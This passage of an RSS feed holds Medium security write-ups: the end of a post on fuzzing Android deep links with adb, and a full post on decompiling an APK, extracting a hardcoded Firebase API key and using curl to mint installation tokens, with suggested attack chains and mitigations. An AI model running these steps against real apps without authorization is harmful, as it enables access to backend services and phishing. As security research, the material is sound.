into sensitive flows</li><li>Foundations for multi-stage attacks</li></ul><h3>🚀 Researcher Insight</h3><p>When testing Android apps, always check:</p><pre># Extract deep links<br>grep -r &quot;VIEW&quot; AndroidManifest.xml</pre><pre># Fuzz schemes<br>adb shell am start -a VIEW -d &quot;scheme://payload&quot;</pre><pre># Monitor behavior<br>adb logcat</pre><p>Focus on:</p><ul><li>Internal activity transitions</li><li>Auth flow triggers</li><li>Missing validation logic</li></ul><h3>📢 Conclusion</h3><p>This case demonstrates how <strong>application-layer trust violations</strong> can silently undermine platform-level protections.</p><p>Even when Android enforces strict access control, improper deep link handling can reintroduce risk through indirect execution paths.</p><p><strong><em>⚠️ Educational use only: These findings are shared to promote secure coding and responsible research. Exploiting such issues without authorization is unethical and may violate applicable laws.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9f1bf54080e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ From APK to Firebase Tokens: Analyzing a Hardcoded API Key in an Android App]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/from-apk-to-firebase-tokens-analyzing-a-hardcoded-api-key-in-an-android-app-486dadfeb0a5?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/486dadfeb0a5</guid>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 02:40:41 GMT</pubDate>
            <atom:updated>2026-04-03T04:15:03.940Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧭 Introduction</h3><p>During a mobile application security assessment, I identified a Firebase configuration embedded inside a production Android APK. By reverse engineering the application, I was able to extract a Google Firebase API key and use it to generate valid Firebase Installation authentication tokens.</p><p>This write-up demonstrates the full process — from APK analysis to token generation — and discusses the real-world security implications of such exposure.</p><h3>📦 Target Overview</h3><ul><li><strong>Application:</strong> EMI World Android App</li><li><strong>Package:</strong> com.example.in.pain🤠</li><li><strong>Firebase Project:</strong> xxxxxworld-4e352</li><li><strong>Testing Methodology:</strong> Static Analysis + API Interaction</li></ul><h3>🔬 Step 1 — Reverse Engineering the APK</h3><p>To begin the analysis, I decompiled the APK using apktool:</p><pre>apktool d xxxxx.apk<br>cd xxxxxworld</pre><p>Next, I searched for Firebase-related configurations:</p><pre>grep &quot;google_api_key&quot; res/values/strings.xml</pre><h3>🔑 Extracted Firebase Configuration</h3><pre>&lt;string name=&quot;google_api_key&quot;&gt;AIzaSyXXXXXXXXXXXX&lt;/string&gt;<br>&lt;string name=&quot;google_app_id&quot;&gt;1:XXXXXXXX:android:XXXXXXXX&lt;/string&gt;<br>&lt;string name=&quot;project_id&quot;&gt;xxxxxld-35566&lt;/string&gt;<br>&lt;string name=&quot;google_storage_bucket&quot;&gt;xxxxxx-4e352.appspot.com&lt;/string&gt;<br>&lt;string name=&quot;gcm_defaultSenderId&quot;&gt;XXXXXXXX&lt;/string&gt;</pre><h3>🧠 Understanding Firebase API Keys</h3><p>Firebase API keys are <strong>not secret credentials by design</strong>. They are intended to identify the application to Firebase services.</p><p>However, improper configuration or unrestricted usage can increase the attack surface and enable unintended interactions with backend services.</p><h3>🌐 Step 2 — Validating the API Key</h3><p>To verify whether the extracted API key was active, I performed a simple request:</p><pre>curl &quot;https://www.googleapis.com/discovery/v1/apis?key=API_KEY&quot;</pre><h3>📌 Observation</h3><p>The response returned:</p><pre>API_KEY_SERVICE_BLOCKED</pre><p>This indicates:</p><ul><li>The API key is valid</li><li>It is associated with an active Google Cloud project</li><li>Some services are restricted</li></ul><h3>🚀 Step 3 — Generating Firebase Installation Tokens</h3><p>Next, I attempted to interact with the Firebase Installations API.</p><pre>curl -X POST \<br>&quot;https://firebaseinstallations.googleapis.com/v1/xxxxxxx/PROJECT_NUMBER/xxxxxxx&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-H &quot;x-goog-api-key: API_KEY&quot; \<br>-d &#39;{<br>  &quot;appId&quot;:&quot;APP_ID&quot;,<br>  &quot;authVersion&quot;:&quot;xxxxx&quot;,<br>  &quot;sdkVersion&quot;:&quot;a:xxxx&quot;<br>}&#39;</pre><h3>✅ Response</h3><pre>{<br>  &quot;fid&quot;: &quot;generatedFID&quot;,<br>  &quot;refreshToken&quot;: &quot;long_lived_token&quot;,<br>  &quot;authToken&quot;: {<br>    &quot;token&quot;: &quot;JWT_TOKEN&quot;,<br>    &quot;expiresIn&quot;: &quot;000000&quot;<br>  }<br>}</pre><h3>🔍 Analysis of the Response</h3><ul><li><strong>FID (Firebase Installation ID):</strong> Unique identifier for the app instance</li><li><strong>authToken (JWT):</strong> Short-lived token (~7 days)</li><li><strong>refreshToken:</strong> Long-lived token for renewing access</li></ul><p>Notably, this process <strong>did not require authentication</strong>, meaning any party with access to the API key and app ID could generate tokens.</p><h3>⚠️ Security Implications</h3><p>While Firebase API keys are not confidential, this behavior introduces potential risks:</p><ul><li><strong>Unauthenticated token generation</strong></li><li><strong>Long-lived refresh tokens</strong></li><li><strong>Increased attack surface for Firebase services</strong></li></ul><p>If additional Firebase components are misconfigured, this could potentially lead to:</p><ul><li>Abuse of push notification systems (FCM)</li><li>Access to misconfigured databases (Firestore / Realtime DB)</li><li>Exposure of files via Firebase Storage</li><li>Manipulation of Remote Config values</li></ul><h3>🔗 Attack Surface Expansion</h3><p>This finding becomes more impactful when combined with weak Firebase security rules.</p><p>Example attack chains:</p><ul><li>API Key → Token Generation → FCM Abuse → Phishing Campaign</li><li>API Key → Firestore Access → Data Extraction</li><li>API Key → Remote Config → Feature Manipulation</li></ul><h3>🛡️ Recommended Mitigations</h3><p>To reduce risk, the following measures are recommended:</p><ul><li>Restrict API keys to specific Android apps (SHA-1 fingerprint)</li><li>Rotate exposed API keys</li><li>Enforce strict Firebase Security Rules</li><li>Monitor Firebase API usage for anomalies</li><li>Avoid exposing unnecessary configuration values in client builds</li></ul><h3>🧠 Key Takeaways</h3><ul><li>Hardcoded Firebase keys are common — but still worth testing</li><li>Token generation endpoints can be abused if not properly restricted</li><li>Real impact depends on backend misconfiguration</li><li>Chaining vulnerabilities is key in bug bounty hunting</li></ul><h3>🚀 Conclusion</h3><p>This assessment highlights how a seemingly low-risk issue — like a hardcoded Firebase API key — can lead to deeper security implications when combined with accessible backend services.</p><p>For security researchers, the takeaway is clear:</p><blockquote><em>Always go beyond discovery — focus on exploitation and chaining.</em></blockquote><h3>👨‍💻 Final Thoughts</h3><p>This type of finding is a great example of how mobile security, API testing, and cloud misconfigurations intersect.</p><p>If you’re into bug bounty hunting, Firebase is a goldmine — provided you know where to look.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=486dadfeb0a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>